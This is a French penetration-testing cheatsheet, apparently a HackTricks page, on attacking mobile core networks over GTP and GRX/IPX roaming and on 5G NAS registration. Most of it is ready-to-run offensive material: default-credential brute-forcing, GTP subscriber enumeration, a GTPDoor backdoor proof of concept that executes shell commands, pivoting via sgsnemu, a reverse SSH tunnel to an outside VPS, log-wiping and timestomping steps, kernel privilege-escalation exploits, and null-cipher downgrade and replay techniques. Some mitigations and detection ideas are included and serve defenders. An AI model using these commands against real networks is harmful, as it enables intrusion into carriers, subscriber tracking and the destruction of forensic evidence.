13 KiB
Raw Blame History

Exploitation de réseaux télécom (GTP / environnements de roaming)

{{#include ../../banners/hacktricks-training.md}}

Note

Les protocoles du cœur mobile (GPRS Tunnelling Protocol GTP) traversent souvent des backbones de roaming GRX/IPX semi-fiables. Parce qu'ils circulent sur UDP en clair avec presque aucune authentification, tout point d'appui à l'intérieur d'un périmètre télécom peut généralement atteindre directement les plans de signalisation cœur. Les notes suivantes rassemblent des techniques offensives observées sur le terrain contre SGSN/GGSN, PGW/SGW et autres nœuds EPC.

1. Recon & Initial Access

1.1 Comptes OSS / NE par défaut

Un nombre étonnamment important d'éléments réseau fournis par les vendors sont livrés avec des utilisateurs SSH/Telnet codés en dur tels que root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Un wordlist dédié augmente drastiquement le succès du brute-force:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Si l'appareil n'expose qu'une VRF de management, pivot through a jump host first (voir la section «SGSN Emu Tunnel» ci-dessous).

1.2 Découverte d'hôtes dans GRX/IPX

La plupart des opérateurs GRX autorisent encore les ICMP echo à travers le backbone. Combinez masscan avec les probes UDP gtpv1 intégrées pour cartographier rapidement les listeners GTP-C :

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Énumération des abonnés cordscan

L'outil Go suivant génère des paquets GTP-C Create PDP Context Request et enregistre les réponses. Chaque réponse révèle le SGSN / MME actuel servant l'IMSI interrogé et, parfois, le PLMN visité de labonné.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Options clés :

  • --imsi IMSI de l'abonné cible
  • --oper Home / HNI (MCC+MNC)
  • -w Écrire les paquets bruts dans un pcap

Des constantes importantes à l'intérieur du binaire peuvent être patchées pour élargir les scans :

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Exécution de code via GTP GTPDoor

GTPDoor est un petit service ELF qui écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant. Lorsque la charge utile commence par un tag pré-partagé, le reste est déchiffré (AES-128-CBC) et exécuté via /bin/sh -c. Les flux stdout/stderr sont exfiltrés à l'intérieur de messages Echo Response de sorte qu'aucune session sortante ne soit créée.

Paquet PoC minimal (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Détection :

  • tout hôte envoyant des unbalanced Echo Requests aux IPs SGSN
  • GTP version flag réglé sur 1 alors que message type = 1 (Echo) déviation par rapport à la spécification

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN fournit un émulateur SGSN capable de establish a PDP context towards a real GGSN/PGW. Une fois négocié, Linux reçoit une nouvelle interface tun0 accessible depuis le roaming peer.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Avec un firewall hair-pinning correctement configuré, ce tunnel contourne les signalling-only VLANs et vous place directement dans le data plane.

4.2 SSH Reverse Tunnel over Port 53

DNS est presque toujours ouvert dans les infrastructures en roaming. Exposez un service SSH interne sur votre VPS écoutant sur :53 et revenez plus tard depuis chez vous :

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Vérifiez que GatewayPorts yes est activé sur le VPS.

5. Canaux cachés

Canal Transport Décodage Remarques
ICMP EchoBackdoor ICMP Echo Req/Rep clé de 4 octets + blocs de 14 octets (XOR) écoute purement passive, pas de trafic sortant
DNS NoDepDNS UDP 53 XOR (key = funnyAndHappy) encodé dans les octets d'enregistrement A surveille le sous-domaine *.nodep
GTP GTPDoor UDP 2123 blob AES-128-CBC dans un IE privé se fond dans le trafic légitime GTP-C

Tous les implants implémentent des watchdogs qui timestomp leurs binaries et se re-spawnent en cas de crash.

6. Cheatsheet d'évasion des défenses

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation sur Legacy NE

# DirtyCow  CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit  CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit  CVE-2021-3156
python3 exploit_userspec.py

Astuce de nettoyage :

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Boîte à outils

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS outils personnalisés décrits dans les sections précédentes.
  • FScan : balayages TCP intranet (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : pivot léger SOCKS5
  • FRP (≥0.37) : NAT traversal / asset bridging

9. Attaques d'enregistrement NAS 5G : SUCI leaks, rétrogradation vers EEA0/EIA0, et NAS replay

La procédure d'enregistrement 5G s'exécute sur NAS (Non-Access Stratum) au-dessus de NGAP. Jusqu'à ce que la sécurité NAS soit activée par Security Mode Command/Complete, les messages initiaux ne sont pas authentifiés ni chiffrés. Cette fenêtre pré-sécurité permet plusieurs vecteurs d'attaque lorsqu'on peut observer ou altérer le trafic N2 (par exemple, on-path dans le core, rogue gNB, ou testbed).

Registration flow (simplifié) :

  • Registration Request : UE envoie SUCI (SUPI chiffré) et capacités.
  • Authentication : AMF/AUSF envoient RAND/AUTN ; l'UE retourne RES*.
  • Security Mode Command/Complete : intégrité et chiffrement NAS sont négociés et activés.
  • PDU Session Establishment : configuration IP/QoS.

Conseils de configuration de laboratoire (non-RF) :

  • Core : un déploiement par défaut Open5GS suffit pour reproduire les flows.
  • UE : simulateur ou UE de test ; décodage avec Wireshark.
  • Outils actifs : 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Filtres d'affichage utiles dans Wireshark :
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Confidentialité des identifiants : défaillances SUCI exposant SUPI/IMSI

Attendu : l'UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du réseau d'attache). Trouver un SUPI/IMSI en clair dans la Registration Request indique un défaut de confidentialité permettant un suivi persistant des abonnés.

Comment tester :

  • Capturez le premier message NAS dans l'InitialUEMessage et inspectez le Mobile Identity IE.
  • Vérifications rapides dans Wireshark :
  • Il doit être décodé comme SUCI, pas IMSI.
  • Exemples de filtres : nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci doit exister ; l'absence de celui-ci avec la présence de imsi indique une fuite.

Que collecter :

  • MCC/MNC/MSIN si exposés ; logger par UE et suivre dans le temps/les emplacements.

Atténuation :

  • Imposer des UEs/USIMs SUCI-only ; générer une alerte sur toute présence d'IMSI/SUPI dans le NAS initial.

9.2 Forçage des capacités vers des algorithmes nuls (EEA0/EIA0)

Contexte :

  • L'UE annonce les EEA (chiffrement) et EIA (intégrité) supportés dans le UE Security Capability IE de la Registration Request.
  • Mappings courants : EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC ; EEA0/EIA0 sont des algorithmes nuls.

Problème :

  • Parce que la Registration Request n'est pas protégée en intégrité, un attaquant on-path peut effacer des bits de capacité pour contraindre la sélection d'EEA0/EIA0 plus tard lors du Security Mode Command. Certaines stacks autorisent incorrectement des algorithmes nuls hors des services d'urgence.

Étapes offensives :

  • Interceptez l'InitialUEMessage et modifiez le NAS UE Security Capability pour n'annoncer que EEA0/EIA0.
  • Avec Sni5Gect, hookez le message NAS et patcher les bits de capacité avant de le relayer.
  • Observez si l'AMF accepte des chiffrement/integrité nuls et complète le Security Mode avec EEA0/EIA0.

Vérification/visibilité :

  • Dans Wireshark, confirmez les algorithmes sélectionnés après Security Mode Command/Complete.
  • Exemple de sortie d'un sniffer passif :
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mesures d'atténuation (obligatoires) :

  • Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement requis (p.ex., appels d'urgence).
  • Préférer l'application d'EEA2/EIA2 au minimum ; journaliser et déclencher des alertes sur tout contexte de sécurité NAS qui négocie des algorithmes nuls.

9.3 Rejeu de la Registration Request initiale (NAS non sécurisé)

Parce que le NAS initial ne garantit pas intégrité ni fraîcheur, un InitialUEMessage+Registration Request capturé peut être rejoué à l'AMF.

PoC rule for 5GReplay to forward matching replays:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

À observer :

  • Si l'AMF accepte le replay et passe à l'Authentication ; l'absence de validation de fraîcheur/contexte indique une exposition.

Mitigations :

  • Appliquer une protection contre le replay et le binding de contexte au niveau de l'AMF ; limiter le débit et corréler par GNB/UE.

9.4 Conseils d'outillage (reproductible)

  • Open5GS : déployer un AMF/SMF/UPF pour émuler le core ; observer N2 (NGAP) et NAS.
  • Wireshark : vérifier les décodages de NGAP/NAS ; appliquer les filtres cidessus pour isoler la Registration.
  • 5GReplay : capturer une Registration, puis rejouer des messages NGAP + NAS spécifiques conformément à la règle.
  • Sni5Gect : sniff/modify/inject en direct le plan de contrôle NAS pour contraindre des algorithmes null ou perturber les séquences d'Authentication.

9.5 Checklist défensive

  • Inspecter en continu les Registration Request à la recherche de SUPI/IMSI en clair ; bloquer les appareils/USIMs fautifs.
  • Rejeter EEA0/EIA0 sauf procédures d'urgence strictement définies ; exiger au minimum EEA2/EIA2.
  • Détecter l'infrastructure rogue ou mal configurée : gNB/AMF non autorisés, pairs N2 inattendus.
  • Alerter sur les modes de sécurité NAS qui aboutissent à des algorithmes null ou à des replays fréquents d'InitialUEMessage.

Idées de détection

  1. Tout appareil autre qu'un SGSN/GGSN établissant des Create PDP Context Requests.
  2. Ports non standard (53, 80, 443) recevant des SSH handshakes depuis des IP internes.
  3. Echo Requests fréquentes sans Echo Responses correspondantes peut indiquer des beacons GTPDoor.
  4. Taux élevé de trafic ICMP echo-reply avec de grands champs identifier/sequence non nuls.
  5. 5G : InitialUEMessage contenant des NAS Registration Requests répétés depuis des endpoints identiques (signal de replay).
  6. 5G : NAS Security Mode négociant EEA0/EIA0 en dehors de contextes d'urgence.

Références

{{#include ../../banners/hacktricks-training.md}}